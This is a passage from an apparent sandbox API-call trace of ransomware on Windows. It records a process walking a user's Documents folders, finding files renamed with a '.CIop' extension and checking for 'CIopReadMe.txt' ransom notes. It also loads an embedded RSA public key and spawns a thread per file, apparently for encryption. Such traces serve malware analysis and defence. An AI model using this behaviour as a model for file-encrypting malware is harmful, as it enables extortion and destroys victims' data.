(lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0117.931] lstrlenW (lpString=".CIop") returned 5 [0117.931] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0117.932] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0117.932] lstrlenW (lpString=".CIop") returned 5 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0117.932] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0117.932] lstrlenW (lpString=".CIop") returned 5 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0117.932] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0117.932] lstrlenW (lpString=".CIop") returned 5 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0117.932] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0117.932] lstrlenW (lpString=".CIop") returned 5 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0117.932] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.932] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0117.932] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0117.932] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.932] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0117.932] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0117.933] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0117.933] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0117.933] SetErrorMode (uMode=0x1) returned 0x1 [0117.933] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0117.933] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0117.933] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.933] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0117.933] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0117.933] lstrlenW (lpString=".CIop") returned 5 [0117.933] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.933] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0117.933] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.933] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0117.933] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0117.933] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.933] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.933] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0117.933] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0117.933] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0117.933] SetErrorMode (uMode=0x1) returned 0x1 [0117.933] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0117.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0117.933] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0117.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0117.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.934] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0117.934] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0117.934] lstrlenW (lpString=".CIop") returned 5 [0117.934] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.934] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.934] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.934] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0117.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0117.934] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0117.934] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0117.934] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0117.934] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.934] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.934] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.934] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0117.934] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0117.934] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0117.934] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0117.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0117.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0117.934] SetErrorMode (uMode=0x1) returned 0x1 [0117.934] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0117.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0117.935] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0117.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0117.935] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0117.935] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0117.935] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0117.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.935] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.935] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.935] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.935] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0117.935] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0117.935] lstrlenW (lpString="desktop.ini") returned 11 [0117.935] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.935] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0117.935] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0117.935] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0117.935] Sleep (dwMilliseconds=0xd) [0117.950] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0117.950] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0117.950] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0117.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0117.951] SetErrorMode (uMode=0x1) returned 0x1 [0117.951] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0117.951] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0117.951] CloseHandle (hObject=0x350) returned 1 [0117.951] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.951] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.951] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0117.951] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0117.951] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0117.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0117.951] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0117.951] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0117.951] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0117.951] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.951] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.951] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.952] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.952] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.952] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0117.952] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0117.952] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0117.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0117.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0117.952] SetErrorMode (uMode=0x1) returned 0x1 [0117.952] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0117.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0117.952] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0117.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0117.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dc38 [0117.952] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0117.952] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0117.952] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.952] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.952] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.952] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.952] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.952] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.952] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0117.952] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0117.952] lstrlenW (lpString=".CIop") returned 5 [0117.952] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.952] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0117.952] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0117.952] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0117.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0117.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67de38 [0117.953] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0117.953] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0117.953] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.953] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.953] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.953] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc5f78 | out: 